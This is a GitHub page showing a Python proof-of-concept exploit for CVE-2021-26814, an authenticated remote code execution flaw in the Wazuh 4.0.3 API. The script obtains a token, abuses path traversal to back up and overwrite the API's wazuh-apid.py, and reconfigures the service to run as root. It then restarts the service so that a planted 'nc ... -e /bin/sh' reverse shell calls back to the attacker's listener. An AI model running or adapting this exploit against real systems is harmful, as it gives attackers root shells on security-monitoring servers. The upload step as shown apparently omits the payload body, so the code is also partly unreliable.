



Sign in

WickdDavid / CVE-2021-26814 Public

Notifications

Fork 1

Star 3

<> Code Issues Pull requests Actions Projects Security Insights

CVE-2021-26814 / PoC.py



127 lines (94 loc) · 3.92 KB

Code Blame

Raw



```
1 # Exploit Title: Wazuh 4.0.3 API RCE
2 # Author: WickdDavid (Davide Meacci)
3 # Date: 2021-01-01
4 # Vendor Homepage: https://github.com/wazuh/wazuh
5 # Version : 4.0.3
6
7
8 import requests
9 import sys
10 import argparse
11 import time
12 import json
13 from urllib3.exceptions import InsecureRequestWarning
14 requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
15
16
17 parser = argparse.ArgumentParser(description='Wazuh-manager authenticated RCE by WickdDavid')
18 parser.add_argument('-user', dest='username',required=True,
19                     help='wazuh API username')
20 parser.add_argument('-pwd', dest='password',required=True,
21                     help='wazuh API password')
22 parser.add_argument('-lip', dest='srcip',required=True,
23                     help='listening server')
24 parser.add_argument('-lport', dest='srcport',required=True,
25                     help='listening port')
26 parser.add_argument('-tip', dest='destip',required=True,
```

```
27         help='target server ip (wazuh API)')
28     parser.add_argument('-tport', dest='destport',required=True,
29         help='target server port (wazuh API)')
30
31
32     args = parser.parse_args()
33
34     # executed payload may be changed here
35
36     exec_payload = """
37     import os #:l
38     os.system("nc %s %s -e /bin/sh") #:l
39     """ % (args.srcip, args.srcport)
40
41
42     config_payload = { "drop_privileges": False }
43
44
45     proxies = {
46         "http":"http://127.0.0.1:8080",
47         "https":"https://127.0.0.1:8080"
48     }
49
50     target = "https://%s:%s" % (args.destip,args.destport)
51     auth_token = ""
52     path_traversal = "etc/lists/../../../../.."
53     headers = {}
54
55     # step 1 - obtaining auth token
56
57     r = requests.get("%s/security/user/authenticate?raw=true" % target, auth=(args.username, args.password))
58
59     if(r.status_code == 200):
60         auth_token = r.text
61         headers["Authorization"] = "Bearer %s" % auth_token
62     else:
63         print("[!] No auth code recovered. Check username and password")
64         exit(1)
65
66     # step 2 - Privilege Escalation on API (not implemented)
67
68
69     # step 3 - Save files to be restored later
70
71     file_to_overwrite = "/var/ossec/api/scripts/wazuh-apid.py"
72     print("[+] Saving files to restore later...")
```

```
73     r = requests.get("%s/manager/files?path=%s%s" % (target,path_traversal,file_to_overwrite), headers
74     f = open("backup.py","w")
75     f.write(json.loads(r.text)["contents"])
76     f.close()
77     time.sleep(1)
78
79     # step 4 - Local Privilege Escalation
80
81     print("[+] Changing API config to run as root...")
82     r = requests.put("%s/manager/api/config" % target, headers = headers, json = config_payload, verify=False)
83     time.sleep(1)
84
85     # step 5 - Restart server (now api service runs as root)
86
87     print("[+] Restarting server...")
88     r = requests.put("%s/manager/restart?wait_for_complete=true" % target, headers = headers,verify=False)
89     #print(r.text)
90
91     data = {"title":"Bad Request"}
92     while "title" in data and "Bad request" in data["title"]:
93         time.sleep(5)
94         try:
95             r = requests.get("%s/manager/status" % target, headers = headers, verify=False)
96             #print(r.text)
97             data = json.loads(r.text)
98         except:
99             continue
100
101     # step 6 - Overwrite /var/ossec/api/scripts/wazuh-apid.py with malicious python payload
102
103     print("[+] Uploading payload...")
104     r = requests.put("%s/manager/files?path=%s%s&overwrite=true" % (target,path_traversal,file_to_overwrite), headers = headers, verify=False)
105     #print(r.text)
106     time.sleep(1)
107
108     # step 7 - Restart server (now malicious payload will be run by the server)
109
110
111     print("[+] Restarting API service for the last time...")
112     r = requests.put("%s/manager/restart?wait_for_complete=true" % target, headers = headers,verify=False)
113     #print(r.text)
114
115     data = {"title":"Bad Request"}
116     while "title" in data and "Bad request" in data["title"]:
117         time.sleep(5)
118         try:
```

```
118         try:
119             r = requests.get("%s/manager/status" % target, headers = headers, verify=False)
120             #print(r.text)
121             data = json.loads(r.text)
122         except:
123             continue
124
125
126     print("[+] Payload executed, check your shell now.")
127     print("[+] Remember to restore changed file (check local backup file)")
```